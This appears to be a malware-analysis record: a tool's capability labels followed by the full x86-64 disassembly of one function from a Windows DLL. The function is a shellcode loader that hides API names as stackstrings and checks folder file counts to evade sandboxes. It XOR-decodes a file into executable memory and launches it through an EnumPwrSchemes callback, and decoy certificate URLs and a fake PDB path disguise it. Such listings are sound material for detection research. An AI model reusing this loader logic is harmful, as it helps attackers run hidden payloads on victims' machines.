Function at 0x180001230
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate files on windows
Get common file path
Get program files directory
Get startup folder
Link many functions at runtime
Read file on windows

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0xb38]
sub rsp, 0xc30
mov rax, qword [0x180021008]
xor rax, rsp
mov qword [rbp + 0xb00], rax
mov qword [r11 + 0x18], rdi
lea rcx, [rbp + 0x640]
mov qword [r11 - 0x20], r14
mov dword [rbp + 0x640], 0x6e72654b
mov dword [rbp + 0x644], 0x32336c65
mov dword [rbp + 0x648], 0x6c6c642e
mov byte [rbp + 0x64c], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x630]
mov dword [rbp + 0x630], 0x65657246
mov rcx, rax
mov dword [rbp + 0x634], 0x736e6f43
mov r14, rax
mov dword [rbp + 0x638], 0x656c6f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
movdqa xmm0, xmmword [0x18001e800]
lea rdx, str.http:__sf.symcb.com_sf.crt0
xor edi, edi
lea rcx, [rbp + 0x168]
mov qword [rbp + 0x168], rdi
movdqu xmmword [rbp + 0x178], xmm0
lea r8d, [rdi + 0x1b]
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1c]
lea rdx, str.http:__www.symauth.com_rpa00
mov qword [rbp + 0x148], rdi
lea rcx, [rbp + 0x148]
movdqu xmmword [rbp + 0x158], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x17]
lea rdx, str.http:__ocsp.thawte.com0
mov qword [rbp + 0x228], rdi
lea rcx, [rbp + 0x228]
movdqu xmmword [rbp + 0x238], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1c]
lea rdx, str.http:__sv.symcb.com_sv.crl0a
mov qword [rbp + 0x128], rdi
lea rcx, [rbp + 0x128]
movdqu xmmword [rbp + 0x138], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x20]
lea rdx, str.http:__s1.symcb.com_pca3_g5.crl0
mov qword [rbp + 0x108], rdi
lea rcx, [rbp + 0x108]
movdqu xmmword [rbp + 0x118], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1f]
lea rdx, str.http:__ts_ocsp.ws.symantec.com0
mov qword [rbp + 0xe8], rdi
lea rcx, [rbp + 0xe8]
movdqu xmmword [rbp + 0xf8], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x30]
lea rdx, str.http:__ts_aia.ws.symantec.com_sha256_tss_ca.cer0
mov qword [rbp + 0xc8], rdi
lea rcx, [rbp + 0xc8]
movdqu xmmword [rbp + 0xd8], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x2b]
lea rdx, str.http:__www.w3.org_1999_02_22_rdf_syntax_ns
mov qword [rbp + 0xa8], rdi
lea rcx, [rbp + 0xa8]
movdqu xmmword [rbp + 0xb8], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1f]
lea rdx, str.http:__ns.adobe.com_xap_1.0_mm_
mov qword [rbp + 0x68], rdi
lea rcx, [rbp + 0x68]
movdqu xmmword [rbp + 0x78], xmm0
call fcn.180002110
mov qword [rbp + 0x48], rdi
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x2e]
lea rdx, str.http:__ns.adobe.com_xap_1.0_sType_ResourceRef
lea rcx, [rbp + 0x48]
movdqu xmmword [rbp + 0x58], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1c]
lea rdx, str.http:__ns.adobe.com_xap_1.0_
mov qword [rbp + 0x28], rdi
lea rcx, [rbp + 0x28]
movdqu xmmword [rbp + 0x38], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1d]
lea rdx, str.https:__www.verisign.com_cps0
mov qword [rbp + 0x388], rdi
lea rcx, [rbp + 0x388]
movdqu xmmword [rbp + 0x398], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1c]
lea rdx, str.https:__www.verisign.com_rpa
mov qword [rbp + 0x368], rdi
lea rcx, [rbp + 0x368]
movdqu xmmword [rbp + 0x378], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1b]
lea rdx, str.http:__sv.symcb.com_sv.crt0
mov qword [rbp + 0x348], rdi
lea rcx, [rbp + 0x348]
movdqu xmmword [rbp + 0x358], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x2f]
lea rdx, str.http:__crl.thawte.com_ThawteTimestampingCA.crl0
mov qword [rbp + 0x328], rdi
lea rcx, [rbp + 0x328]
movdqu xmmword [rbp + 0x338], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x19]
lea rdx, str.https:__d.symcb.com_cps0_
mov qword [rbp + 0x308], rdi
lea rcx, [rbp + 0x308]
movdqu xmmword [rbp + 0x318], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x20]
lea rdx, str.http:__ts_ocsp.ws.symantec.com07
mov qword [rbp + 0x2e8], rdi
lea rcx, [rbp + 0x2e8]
movdqu xmmword [rbp + 0x2f8], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x26]
lea rdx, str.http:__s.symcb.com_universal_root.crl0
mov qword [rbp + 0x2c8], rdi
lea rcx, [rbp + 0x2c8]
movdqu xmmword [rbp + 0x2d8], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x25]
lea rdx, str.http:__logo.verisign.com_vslogo.gif04
mov qword [rbp + 0x2a8], rdi
lea rcx, [rbp + 0x2a8]
movdqu xmmword [rbp + 0x2b8], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x15]
lea rdx, str.http:__sf.symcd.com0
mov qword [rbp + 0x288], rdi
lea rcx, [rbp + 0x288]
movdqu xmmword [rbp + 0x298], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x2c]
movdqu xmmword [rbp + 0x278], xmm0
mov qword [rbp + 0x268], rdi
lea rdx, str.http:__ts_aia.ws.symantec.com_tss_ca_g2.cer0
lea rcx, [rbp + 0x268]
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1d]
lea rdx, str.https:__www.verisign.com_rpa0
mov qword [rbp + 0x248], rdi
lea rcx, [rbp + 0x248]
movdqu xmmword [rbp + 0x258], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x19]
lea rdx, str.http:__ocsp.verisign.com0
mov qword [rbp + 0x88], rdi
lea rcx, [rbp + 0x88]
movdqu xmmword [rbp + 0x98], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x25]
lea rdx, str.http:__crl.verisign.com_pca3_g5.crl04
mov qword [rbp + 0x208], rdi
lea rcx, [rbp + 0x208]
movdqu xmmword [rbp + 0x218], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x1c]
lea rdx, str.http:__sf.symcb.com_sf.crl0a
mov qword [rbp + 0x1e8], rdi
lea rcx, [rbp + 0x1e8]
movdqu xmmword [rbp + 0x1f8], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x30]
lea rdx, str.http:__ts_crl.ws.symantec.com_sha256_tss_ca.crl0
mov qword [rbp + 0x1c8], rdi
lea rcx, [rbp + 0x1c8]
movdqu xmmword [rbp + 0x1d8], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x15]
lea rdx, str.http:__sv.symcd.com0
mov qword [rbp + 0x1a8], rdi
lea rcx, [rbp + 0x1a8]
movdqu xmmword [rbp + 0x1b8], xmm0
call fcn.180002110
movdqa xmm0, xmmword [0x18001e800]
lea r8d, [rdi + 0x2c]
lea rdx, str.http:__ts_crl.ws.symantec.com_tss_ca_g2.crl0
mov qword [rbp + 0x188], rdi
lea rcx, [rbp + 0x188]
movdqu xmmword [rbp + 0x198], xmm0
call fcn.180002110
lea r8d, [rdi + 0x14]
mov qword [rbp - 0x58], rdi
lea rdx, str.http:__s2.symcb.com0
mov qword [rbp - 0x48], rdi
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x40], 0xf
call fcn.180002110
lea r8d, [rdi + 0x18]
mov qword [rbp - 0x78], rdi
lea rdx, str.https:__d.symcb.com_rpa0
mov qword [rbp - 0x68], rdi
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x60], 0xf
call fcn.180002110
lea r8d, [rdi + 0x19]
mov qword [rsp + 0x68], rdi
lea rdx, str.https:__d.symcb.com_rpa0_
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x68]
mov qword [rbp - 0x80], 0xf
call fcn.180002110
lea r8d, [rdi + 0x14]
mov qword [rsp + 0x48], rdi
lea rdx, str.http:__s.symcd.com06
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x60], 0xf
call fcn.180002110
mov qword [rbp + 8], rdi
mov qword [rbp + 0x18], rdi
lea r8d, [rdi + 0x1b]
mov qword [rbp + 0x20], 0xf
lea rdx, str.http:__www.symauth.com_cps0
lea rcx, [rbp + 8]
call fcn.180002110
lea r8d, [rdi + 0x20]
mov qword [rbp - 0x18], rdi
lea rdx, str.http:__crash.browser.qq.com:8080
mov qword [rbp - 8], rdi
lea rcx, [rbp - 0x18]
mov qword [rbp], 0xf
call fcn.180002110
lea r8d, [rdi + 0x42]
mov qword [rbp - 0x38], rdi
lea rdx, str.D:RDMprojects48078chrome_srcoutRelease_x86BugReport.exe.pdb
mov qword [rbp - 0x28], rdi
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x20], 0xf
call fcn.180002110
lea rax, [rbp + 0x8f0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x180001d95
lea rcx, [rbp + 0x8f0]
mov qword [rsp + 0xc48], rsi
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], di
lea rcx, [rcx + 2]
jne 0x1800018f0
movsd xmm0, qword [str..]
lea rdx, [rbp + 0x3b0]
movzx eax, word [0x18001e2c8]
movsd qword [rcx], xmm0
mov word [rcx + 8], ax
lea rcx, [rbp + 0x8f0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180001d8d
mov qword [rsp + 0xc40], rbx
mov ebx, edi
nop dword [rax]
movzx edx, word [rbp + 0x3dc]
movzx ecx, word [rbp + 0x3de]
cmp dx, 0x2e
jne 0x18000196c
test cx, cx
je 0x18000196e
cmp dx, dx
jne 0x18000196c
cmp cx, dx
jne 0x18000196c
cmp word [rbp + 0x3e0], di
je 0x18000196e
inc ebx
lea rdx, [rbp + 0x3b0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180001940
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp ebx, 0xa
jl 0x180001d85
mov qword [rsp + 0xc28], r12
lea rdx, [rbp + 0x698]
mov qword [rsp + 0xc20], r13
mov rcx, r14
mov qword [rsp + 0xc10], r15
mov dword [rbp + 0x698], 0x74726956
mov dword [rbp + 0x69c], 0x416c6175
mov dword [rbp + 0x6a0], 0x636f6c6c
mov dword [rbp + 0x6a4], 0x754e7845
mov word [rbp + 0x6a8], 0x616d
mov byte [rbp + 0x6aa], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x6b0]
mov dword [rbp + 0x6b0], 0x4d746547
mov rcx, r14
mov dword [rbp + 0x6b4], 0x6c75646f
mov r12, rax
mov dword [rbp + 0x6b8], 0x6c694665
mov dword [rbp + 0x6bc], 0x6d614e65
mov word [rbp + 0x6c0], 0x4165
mov byte [rbp + 0x6c2], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x670]
mov dword [rbp + 0x670], 0x74726956
mov rcx, r14
mov dword [rbp + 0x674], 0x506c6175
mov rbx, rax
mov dword [rbp + 0x678], 0x65746f72
mov dword [rbp + 0x67c], 0x7463
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x600]
mov dword [rbp + 0x600], 0x72776f70
mov qword [rsp + 0x30], rax
mov dword [rbp + 0x604], 0x666f7270
mov byte [rbp + 0x608], dil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x660]
mov dword [rbp + 0x660], 0x6d756e45
mov rcx, rax
mov dword [rbp + 0x664], 0x53727750
mov dword [rbp + 0x668], 0x6d656863
mov word [rbp + 0x66c], 0x7365
mov byte [rbp + 0x66e], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x650]
mov dword [rbp + 0x650], 0x61766441
mov qword [rsp + 0x38], rax
mov dword [rbp + 0x654], 0x32336970
mov dword [rbp + 0x658], 0x6c6c642e
mov byte [rbp + 0x65c], dil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x680]
mov dword [rbp + 0x680], 0x74737953
mov rcx, rax
mov dword [rbp + 0x684], 0x75466d65
mov dword [rbp + 0x688], 0x6974636e
mov dword [rbp + 0x68c], 0x33306e6f
mov word [rbp + 0x690], 0x36
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x620]
mov dword [rbp + 0x620], 0x70616548
mov rcx, r14
mov dword [rbp + 0x624], 0x6f6c6c41
mov r13, rax
mov word [rbp + 0x628], 0x63
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x610]
mov dword [rbp + 0x610], 0x70616548
mov rcx, r14
mov dword [rbp + 0x614], 0x65657246
mov rsi, rax
mov byte [rbp + 0x618], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, 0x104
lea rdx, [rbp + 0x6d0]
xor ecx, ecx
call rbx
mov edx, 0x5c
lea rcx, [rbp + 0x6d0]
call fcn.18000335c
test rax, rax
je 0x180001be6
mov byte [rax + 1], dil
lea r9, [rbp + 0x6d0]
mov edx, 0x104
lea r8, [0x18001e7e8]
lea rcx, [rbp + 0x7e0]
call fcn.180001010
lea rdx, [0x18001e7f4]
lea rcx, [rbp + 0x7e0]
call fcn.180004ce4
xor edx, edx
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 2]
call fcn.180004fe0
mov rcx, rbx
call fcn.180004bdc
xor r8d, r8d
movsxd r15, eax
xor edx, edx
mov rcx, rbx
call fcn.180004fe0
mov rcx, r15
call fcn.180006bb8
mov r9, rbx
mov r8d, 1
mov rdx, r15
mov rcx, rax
mov r14, rax
call fcn.180006844
mov rcx, rbx
call fcn.180004d74
xor ecx, ecx
call fcn.180006560
mov rcx, rax
call fcn.180004c10
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x10]
call rsi
mov rsi, rax
test rax, rax
je 0x180001d6d
lea rbx, [r15 + 4]
shl rbx, 0xa
btr rbx, 0xc
mov qword [rax + 8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], edi
mov r9d, 0x1000
mov rcx, rax
mov dword [rsp + 0x20], 4
mov r8, rbx
xor edx, edx
call r12
mov qword [rsi + 0x10], rax
test rax, rax
je 0x180001cf3
mov edx, dword [rsi + 8]
mov rcx, rax
call r13
call fcn.180004be4
mov rcx, qword [rsi + 8]
xor edx, edx
inc rcx
cdqe
div rcx
mov dword [rsi + 4], edx
lea rcx, [r15 - 1]
test rcx, rcx
je 0x180001d10
mov rax, rdi
nop
lock xor byte [r14 + rax], 0xef
inc edi
movsxd rax, edi
cmp rax, rcx
jb 0x180001d00
mov eax, dword [rsi + 4]
add rax, qword [rsi + 0x10]
test r15d, r15d
jle 0x180001d41
mov r8, r14
mov edx, r15d
sub r8, rax
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
mov byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x180001d30
mov rcx, r14
call fcn.1800065a0
mov rdx, qword [rsi + 8]
lea r9, [rsp + 0x40]
mov rcx, qword [rsi + 0x10]
mov r8d, 0x40
call qword [rsp + 0x30]
mov ecx, dword [rsi + 4]
xor edx, edx
add rcx, qword [rsi + 0x10]
call qword [rsp + 0x38]
mov r13, qword [rsp + 0xc20]
mov r12, qword [rsp + 0xc28]
mov r15, qword [rsp + 0xc10]
mov rbx, qword [rsp + 0xc40]
mov rsi, qword [rsp + 0xc48]
mov rdx, qword [rbp - 0x20]
mov r14, qword [rsp + 0xc18]
mov rdi, qword [rsp + 0xc50]
cmp rdx, 0x10
jb 0x180001de0
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001ddb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002081
call fcn.18000242c
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x180001e1b
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001e16
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002081
call fcn.18000242c
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x180001e56
mov rcx, qword [rbp + 8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001e51
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002081
call fcn.18000242c
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x180001e93
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001e8e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002081
call fcn.18000242c
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x180001ecf
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001eca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002081
call fcn.18000242c
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x180001f0a
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001f05
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002081
call fcn.18000242c
mov r8, qword [rbp - 0x40]
cmp r8, 0x10
jb 0x180001f20
mov rdx, qword [rbp - 0x58]
inc r8
call fcn.180002270
lea rcx, [rbp + 0x188]
call fcn.1800020b0
lea rcx, [rbp + 0x1a8]
call fcn.1800020b0
lea rcx, [rbp + 0x1c8]
call fcn.1800020b0
lea rcx, [rbp + 0x1e8]
call fcn.1800020b0
lea rcx, [rbp + 0x208]
call fcn.1800020b0
lea rcx, [rbp + 0x88]
call fcn.1800020b0
lea rcx, [rbp + 0x248]
call fcn.1800020b0
lea rcx, [rbp + 0x268]
call fcn.1800020b0
lea rcx, [rbp + 0x288]
call fcn.1800020b0
lea rcx, [rbp + 0x2a8]
call fcn.1800020b0
lea rcx, [rbp + 0x2c8]
call fcn.1800020b0
lea rcx, [rbp + 0x2e8]
call fcn.1800020b0
lea rcx, [rbp + 0x308]
call fcn.1800020b0
lea rcx, [rbp + 0x328]
call fcn.1800020b0
lea rcx, [rbp + 0x348]
call fcn.1800020b0
lea rcx, [rbp + 0x368]
call fcn.1800020b0
lea rcx, [rbp + 0x388]
call fcn.1800020b0
lea rcx, [rbp + 0x28]
call fcn.1800020b0
lea rcx, [rbp + 0x48]
call fcn.1800020b0
lea rcx, [rbp + 0x68]
call fcn.1800020b0
lea rcx, [rbp + 0xa8]
call fcn.1800020b0
lea rcx, [rbp + 0xc8]
call fcn.1800020b0
lea rcx, [rbp + 0xe8]
call fcn.1800020b0
lea rcx, [rbp + 0x108]
call fcn.1800020b0
lea rcx, [rbp + 0x128]
call fcn.1800020b0
lea rcx, [rbp + 0x228]
call fcn.1800020b0
lea rcx, [rbp + 0x148]
call fcn.1800020b0
lea rcx, [rbp + 0x168]
call fcn.1800020b0
xor eax, eax
mov rcx, qword [rbp + 0xb00]
xor rcx, rsp
call fcn.1800023d0
add rsp, 0xc30
pop rbp
ret
call fcn.180006b40
int3